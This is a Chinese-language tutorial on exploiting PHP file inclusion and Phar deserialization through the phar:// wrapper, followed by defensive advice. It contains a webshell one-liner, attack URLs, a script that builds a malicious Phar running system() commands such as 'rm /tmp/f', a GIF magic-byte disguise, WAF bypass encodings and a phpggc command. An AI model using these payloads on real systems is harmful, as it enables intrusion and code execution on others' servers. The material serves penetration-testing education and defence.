PHP文件包含漏洞:phar://协议原理、利用与防御实战 1. 项目概述从zip://到phar://的认知跃迁在PHP安全领域文件包含漏洞File Inclusion Vulnerability是一个老生常谈却又历久弥新的议题。很多安全研究者和开发者对这个漏洞的基本利用方式比如通过zip://伪协议来包含压缩包内的恶意PHP文件都已经耳熟能详。然而在实际的渗透测试和代码审计中我发现一个现象大家往往把目光聚焦在zip://上却忽略了另一个功能更强大、限制更少、堪称“万金油”的协议——phar://。我最初接触phar://时也只是把它当作zip://的一个“平替”用法似乎差不多。但经过多次实战和深入研究后我发现它的能力远超想象。phar://不仅能像zip://一样处理ZIP格式的压缩包它本身就是PHP归档PHAR, PHP Archive的官方封装协议。这意味着它天生与PHP的打包、分发机制深度绑定其行为特性和可利用场景远比一个简单的压缩文件读取器要丰富得多。很多在zip://利用中遇到的路径、编码、后缀限制问题在phar://面前可能迎刃而解。这篇文章我就结合自己踩过的坑和成功的案例来详细拆解phar://这个协议在文件包含漏洞利用中的独特价值、高级技巧以及那些容易被忽略的细节。2. 核心原理深度解析phar://不只是个“读压缩包”的要玩转phar://首先得跳出“它就是个读ZIP文件的”这个思维定式。我们需要从PHP内核和流包装器的角度来理解它。2.1 Phar扩展与流包装器机制phar://协议的实现依赖于PHP的Phar扩展。这个扩展最初是为了方便地将PHP应用程序及其资源打包成一个单独的文件进行分发类似于Java的JAR包。Phar文件本质上是一个容器它可以包含PHP代码、配置文件、图片等任何资源并且支持使用ZIP或TAR格式进行压缩或者不压缩PHAR格式本身。当PHP遇到phar://开头的路径时会调用Phar扩展提供的流包装器Stream Wrapper。这个包装器负责解析Phar文件的结构并像访问普通文件系统一样让你能够访问Phar文件内部的条目entry。关键在于Phar流包装器在解析文件时并不严格依赖文件的后缀名。它通过读取文件头部特定的魔术字节magic bytes或文件结构来判断这是否是一个有效的Phar/ZIP/TAR归档文件。这就为绕过上传过滤提供了天然的可能性。2.2 与zip://的核心差异对比很多人混淆phar://和zip://因为它们都能处理ZIP文件。但它们的底层实现和接口设计有本质区别特性对比zip://phar://协议本质一个简单的、用于读取ZIP压缩包内特定文件的流包装器。一个完整的PHP归档Phar流包装器支持多种格式Phar, Zip, Tar。路径格式zip://[绝对路径到ZIP文件]#[压缩包内文件路径]#需要URL编码为%23。phar://[ZIP/Phar文件路径]/[压缩包内文件路径]使用标准的目录分隔符。相对路径支持通常不支持必须使用绝对路径。这是zip://最大的限制之一。完全支持可以使用相对于当前脚本的路径。灵活性极高。文件格式识别严格依赖.zip后缀不其实也看文件头但实践中常因后缀被拦截。主要依赖文件头魔术字节对后缀名极其宽容.jpg,.png,.txt均可。内部处理直接调用系统的Zlib等库解压特定文件。通过Phar扩展的完整归档处理逻辑可以处理元数据如stub。利用复杂度较低路径构造固定。较高但因此也更灵活可结合Phar反序列化等高级利用。实操心得zip://那个%23#的用法在有些WAF或简单的输入过滤中可能会被识别。而phar://使用普通的斜杠路径看起来更像一个正常的文件路径迷惑性更强。在一次内部红队演练中目标系统过滤了zip://和#字符但phar://配合一个改名为avatar.jpg的压缩包成功绕过了检测。2.3 漏洞触发的核心条件利用phar://进行文件包含攻击需要满足以下几个条件其中一些比zip://更宽松目标存在文件包含漏洞这是前提即存在include、require等函数且参数至少部分用户可控。PHP版本 5.3.0Phar扩展在PHP 5.3.0及以上版本默认启用。这一点和zip://要求一致。allow_url_include配置项重要与zip://不同phar://协议不受allow_url_include设置的影响。无论allow_url_include是On还是Offphar://都可以用于本地文件包含。这是它成为“万金油”的关键优势之一。它只被视为一个本地文件包装器。可上传或控制特定文件你需要能将一个包含恶意PHP代码的压缩包上传到服务器并知道其访问路径。或者服务器上已经存在一个你可以控制的Phar/Zip文件比如缓存文件、临时文件。3. 基础利用手法从构造到执行让我们从一个最经典的漏洞场景开始一个存在文件包含漏洞的PHP脚本并且存在文件上传功能或者你知道服务器上某个可写目录的路径。3.1 恶意压缩包的构造第一步是制作“炮弹”。这里和zip://利用完全一致。创建恶意PHP文件新建一个文本文件命名为shell.php名字可以任意内容为你想要执行的PHP代码。例如一个一句话木马?php eval($_POST[cmd]);?或者一个简单的信息探测脚本?php phpinfo(); ?打包为ZIP格式使用任何压缩工具如Windows的“发送到-压缩文件夹”Linux的zip命令或者7-Zip将shell.php文件压缩成一个ZIP文件。假设我们命名为payload.zip。# Linux 示例 zip payload.zip shell.php关键修改文件后缀这是绕过上传过滤的常见步骤。将payload.zip重命名为payload.jpg、payload.png、avatar.dat等任何允许上传的后缀。因为phar://是通过分析文件内容而非后缀名来识别归档的所以这个操作完全可行。3.2 利用phar://进行包含假设我们已经将payload.jpg实质是ZIP压缩包上传到了服务器的/uploads/2023/10/目录下。目标存在如下漏洞代码?php // file: vulnerable.php $file $_GET[file]; include($file); ?攻击Payload如下方式一使用绝对路径推荐最稳定http://target.com/vulnerable.php?filephar:///var/www/html/uploads/2023/10/payload.jpg/shell.php解析phar://协议头告诉PHP使用Phar流包装器。后面的路径/var/www/html/uploads/2023/10/payload.jpg是压缩包在服务器上的绝对路径。/shell.php是压缩包内部我们想要包含并执行的PHP文件路径。方式二使用相对路径更灵活如果vulnerable.php和上传的文件在同一目录或者你知道相对路径可以这样http://target.com/vulnerable.php?filephar://./uploads/payload.jpg/shell.php或者利用目录遍历http://target.com/vulnerable.php?filephar://../uploads/payload.jpg/shell.php注意事项相对路径的成功与否取决于PHP的当前工作目录getcwd()以及open_basedir等限制。在复杂应用中绝对路径通常更可靠。访问上述构造的URL如果一切顺利服务器就会解压payload.jpg读取其中的shell.php并将其作为PHP代码执行。你会看到phpinfo()页面输出或者你的Webshell客户端可以连接了。3.3 绕过常见限制场景phar://的威力在绕过限制时体现得淋漓尽致。场景A后缀限制绕过假设漏洞代码加了后缀?php $file $_GET[file]; include($file . .php); // 自动添加.php后缀 ?对于zip://你可能需要用到%00截断PHP5.3.4或路径长度截断但这些方法条件苛刻或已失效。对于phar://我们可以利用协议本身的特性http://target.com/vulnerable.php?filephar://./uploads/payload.jpg/shell服务器拼接后成为phar://./uploads/payload.jpg/shell.php。phar://协议会正确解析整个路径找到payload.jpg中的shell文件而外部的.php后缀被“忽略”了实际上包含的是压缩包内的文件外部后缀只是字符串拼接的一部分不影响协议解析。这里的关键是压缩包内的文件必须命名为shell无后缀而不是shell.php。场景B路径前缀限制如果代码限定了包含目录?php $file $_GET[file]; include(/safe_dir/ . $file); ?zip://在这里可能无能为力因为它通常需要绝对路径而safe_dir目录下你可能无法上传文件。但phar://支持网络路径吗不它本质是本地协议。但它的强大之处在于可以包含其他可写目录下的归档文件。例如你通过其他漏洞如图片上传将payload.jpg上传到了/var/www/tmp/。那么可以这样利用http://target.com/vulnerable.php?filephar:///var/www/tmp/payload.jpg/shell.php你包含的并不是safe_dir目录下的文件而是通过phar://协议去读取了另一个目录下的归档文件。只要PHP进程有权限读取/var/www/tmp/payload.jpg攻击就能成功。4. 高级利用技巧超越文件包含如果说基础利用只是把phar://当成一个更好的zip://那就太小看它了。Phar协议与PHP序列化机制的深度结合催生了更强大的攻击方式——Phar反序列化漏洞。4.1 Phar文件结构与反序列化入口一个Phar文件由四部分组成Stub类似ELF文件的头部是一个PHP脚本必须以__HALT_COMPILER();结尾。当以php命令执行Phar文件时这段代码会运行。Manifest描述归档内容的元数据以序列化的形式存储。这里就是关键所在。File Contents归档内文件的真实内容。Signature可选整个归档的签名。当我们使用phar://协议去包含一个Phar文件中的任何文件比如一张图片phar://evil.phar/evil.jpg时Phar扩展为了读取这个文件会先解析整个Phar文件的元数据Manifest。而Manifest是序列化存储的在解析过程中会反序列化这些数据。4.2 构造恶意Phar文件攻击思路是我们创建一个Phar文件在其Manifest的元数据中插入一个包含魔法方法如__destruct,__wakeup的对象的序列化字符串。当这个Phar文件被phar://协议访问时元数据被反序列化我们的对象被重建其魔法方法随之自动调用从而执行任意代码。下面是一个构造恶意Phar文件的示例脚本create_phar.php?php // 定义一个包含危险__destruct方法的类 class EvilObject { public $cmd whoami; function __destruct() { system($this-cmd); } } // 删除已存在的phar文件 unlink(evil.phar); // 创建一个新的Phar对象 $phar new Phar(evil.phar); // 开始构建Phar文件 $phar-startBuffering(); // 设置stub可以是一个合法的PHP脚本 $phar-setStub(?php __HALT_COMPILER(); ?); // 创建一个要放入归档的文件内容这里可以是一个无害的文本或图片 $phar-addFromString(test.txt, This is a test.); // 创建自定义元数据这里放入我们序列化后的恶意对象 $object new EvilObject(); $object-cmd $_GET[cmd] ?? id; // 通过参数控制命令 $phar-setMetadata($object); // 关键将对象存入元数据 // 结束构建并写入磁盘 $phar-stopBuffering(); echo Phar file created: evil.phar; ?在服务器上执行php create_phar.php?cmdrm/tmp/f就会生成一个evil.phar文件其元数据中包含了序列化的EvilObject对象对象的cmd属性值为rm /tmp/f。4.3 触发反序列化现在我们不需要文件包含漏洞去执行Phar包里的PHP文件只需要一个能触发phar://协议解析的操作即可。以下函数在参数可控时都可能成为触发点文件系统函数file_get_contents()、file()、fopen()、file_exists()、md5_file()、sha1_file()等。图片处理函数如exif_thumbnail()、exif_imagetype()、getimagesize()等只要它们尝试读取文件。压缩包检查函数实际上任何会尝试读取文件内容的操作都可能。漏洞代码示例?php // 一个图片上传检查功能 $filename $_GET[filename]; // 用户可控指向我们上传的evil.phar if (file_exists($filename)) { $size getimagesize($filename); // 尝试获取图片尺寸 echo File exists. Size: . json_encode($size); } ?攻击Payloadhttp://target.com/image_check.php?filenamephar://./uploads/evil.phar/test.txt当file_exists()和getimagesize()尝试处理phar://./uploads/evil.phar/test.txt时Phar扩展会解析evil.phar文件反序列化其元数据从而触发EvilObject::__destruct()方法执行rm /tmp/f命令。核心优势这种利用方式不依赖include或require只要有一个能传递phar://路径给上述文件操作函数的地方就可能造成反序列化RCE。这使得漏洞挖掘面大大拓宽。4.4 利用条件与绕过技巧Phar反序列化利用需要满足PHP版本支持Phar扩展5.3.0。能上传Phar文件到服务器可修改后缀为允许的类型如.jpg。存在一个参数可控的文件操作函数不一定是包含函数。目标代码中存在可被利用的类魔法方法。如何绕过.phar后缀限制和基础利用一样Phar文件可以通过添加GIF、JPEG等文件的幻数头Magic Bytes来伪装。// 在create_phar.php的setStub部分修改 $phar-setStub(GIF89a.?php __HALT_COMPILER(); ?);这样生成的evil.phar文件开头是GIF89a文件检测可能会认为它是GIF图片。但Phar解析器在读取时会跳过Stub部分直到找到__HALT_COMPILER();因此伪装不影响其作为Phar文件被解析。5. 实战中的疑难杂症与排查技巧理论很美好实战中却总会遇到各种问题。下面是我总结的一些常见坑点和解决方案。5.1 常见问题速查表问题现象可能原因排查与解决方案访问phar://路径返回空白或错误1. PHP未启用Phar扩展。2. 文件路径错误。3. 压缩包损坏或格式不被支持。1. 检查phpinfo()中是否有Phar扩展。可用?php extension_loaded(phar) ? yes:no;?快速检查。2. 确保使用绝对路径并检查文件权限PHP进程用户是否有读权限。3. 用zipinfo或7z l命令检查ZIP文件是否有效。phar://主要支持ZIP和TAR格式。包含后无任何输出代码未执行1. 压缩包内的PHP文件未被正确解析。2.short_open_tag设置为Off而代码使用了?短标签。3. 代码存在语法错误。1. 确认压缩包内文件路径是否正确区分大小写。2. 在PHP代码中使用完整标签?php ... ?。3. 先在本地环境测试压缩包内的PHP文件是否能正常执行。报错failed to open stream: phar error:1. 指定的内部文件在归档中不存在。2. Phar文件本身损坏或不是有效的归档格式。1. 仔细检查phar://archive/path/internal/file中internal/file的路径是否与压缩包内实际路径一致。2. 重新制作压缩包确保使用标准ZIP格式压缩。利用Phar反序列化未触发1. 文件操作函数未实际触发Phar元数据解析。2. 伪协议流包装器被禁用。3. 类不存在或魔法方法名错误。1. 确认函数是否真的去“读”了文件内容。file_exists()在某些PHP版本下可能不会触发反序列化但is_file()可能会。多尝试几个函数。2. 检查php.ini中phar.readonly设置。如果是On则无法创建Phar但不影响读取已有Phar。3. 确保目标环境中存在你利用的类并且魔法方法如__destruct是公开的。WAF拦截了phar://字符串WAF规则匹配了协议头。1.大小写绕过尝试PHAR://、Phar://PHP流包装器通常不区分大小写。2.URL编码对部分字符进行编码如phar%3A//。3.双重编码%70%68%61%72%3a%2f%2f。4.利用协议检测逻辑有些WAF只检测参数值可以将phar://放在路径中间如?file./phar://./uploads/1.jpg/shell。5.2 路径处理的“坑”phar://路径处理有一些细微之处Windows下的路径分隔符在Windows系统上Phar内部路径也使用正斜杠/而不是反斜杠\。phar://C:\path\to\archive.zip/internal/file.php是正确的而...\internal\file.php可能导致解析失败。相对路径的基准使用相对路径时如phar://./archive.zip其基准是PHP的当前工作目录不一定是包含漏洞脚本所在的目录。在复杂的应用如使用了chdir的框架中这可能导致找不到文件。始终尽可能使用绝对路径。URL编码问题在HTTP请求中空格、中文等特殊字符需要URL编码。但phar://协议头本身和内部的路径分隔符/通常不需要编码。例如phar:///path/with%20space/archive.zip可以正确解析%20为空格。5.3 防御视角下的检测了解了攻击手法从防御者角度可以采取以下措施彻底禁用危险函数如果业务完全用不到在php.ini中设置disable_functions include,require,include_once,require_once。但这可能影响老旧程序。白名单校验对文件包含的参数进行严格的白名单控制只允许包含预设的几个安全文件。路径过滤与校验过滤输入中的..、phar://、zip://、data://等协议和目录遍历字符。注意大小写和编码绕过。设置open_basedir将PHP可访问的文件限制在特定目录树内可以有效阻止跨目录包含其他位置的文件包括通过phar://包含其他目录的归档文件。文件上传处理不要仅依赖后缀名检测文件类型。应使用exif_imagetype()、getimagesize()注意其本身也可能触发Phar或读取文件头魔术字节进行检测。对上传的文件进行重命名如使用随机哈希值并避免用户控制最终存储路径的文件名。更新与最小化升级到最新的PHP版本并确保Phar扩展为最新。在不需要Phar功能的服务器上考虑禁用Phar扩展extensionphar注释掉或移除。6. 工具与自动化利用手动构造测试用例效率较低这里推荐一些方法和工具来提高效率。1. 使用Burp Suite的Intruder或Repeater对于测试路径遍历或协议前缀可以预先制作一个包含phpinfo()的ZIP包上传后在Burp中系统性地测试各种路径组合和编码方式。2. 集成化测试工具一些安全测试框架内置了文件包含的检测模块例如Burp Suite插件Freddy、Backslash Powered Scanner能够自动识别和利用反序列化漏洞其中就包含对Phar反序列化的检测。OWASP ZAP其主动扫描规则中包含了针对文件包含和路径遍历的测试。自定义脚本编写Python脚本自动化完成“生成恶意Phar/Zip - 上传 - 触发包含”的流程。3. 用于生成恶意Phar文件的工具除了自己写PHP脚本也可以使用现成的安全工具来生成phpggc(PHP Generic Gadget Chains)一个强大的PHP反序列化利用链集合。它可以生成包含各种流行框架如Laravel, Symfony, ThinkPHP等反序列化利用链的Phar文件。# 示例生成一个包含Guzzle/FW1反序列化链的Phar文件 python3 phpggc -phar phar -o evil.phar Guzzle/FW1 system id生成的evil.phar可以直接用于测试。7. 从攻击到防御安全开发建议最后作为开发者如何在代码层面避免这类问题绝对禁止动态包含这是最根本的解决方案。如果业务逻辑必须动态加载文件请使用白名单机制。// 错误示范 $page $_GET[page]; include(./templates/ . $page . .php); // 正确示范白名单 $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./templates/ . $page . .php); } else { include(./templates/404.php); }使用安全的文件操作函数如果一定要处理用户输入的文件路径使用realpath()函数来解析绝对路径并与白名单目录进行比较。$base_dir /var/www/html/uploads/; $user_file $_GET[file]; $real_path realpath($base_dir . $user_file); // 检查解析后的路径是否仍在安全目录内 if ($real_path strpos($real_path, $base_dir) 0) { // 安全可以操作 $content file_get_contents($real_path); }对输入进行严格过滤即使使用白名单也应对输入进行过滤移除或编码任何可能的目录遍历字符和协议标识符。$input $_GET[file]; $filtered str_replace([../, ..\\, phar://, zip://, data://], , $input); // 注意简单的替换可能被双写绕过..././需要递归过滤或使用更严格的正则。降低权限运行确保PHP进程如php-fpm或Apache模块以低权限用户身份运行并配置好open_basedir将其限制在Web应用必需的目录内。这样即使被包含执行了恶意代码其破坏力也有限。phar://协议以其强大的灵活性和与PHP核心的深度集成在文件包含漏洞利用中占据了独特而重要的地位。它提醒我们在安全防御中不能只盯着最常见的攻击向量。一个看似无害的文件操作函数配合一个精心构造的Phar文件就可能绕过层层防御直击系统核心。对于攻击者掌握phar://意味着多了一把打开内网大门的钥匙对于防御者理解其原理则是加固系统防线不可或缺的一环。在安全的世界里知其然更要知其所以然才能在这场持续的攻防博弈中保持主动。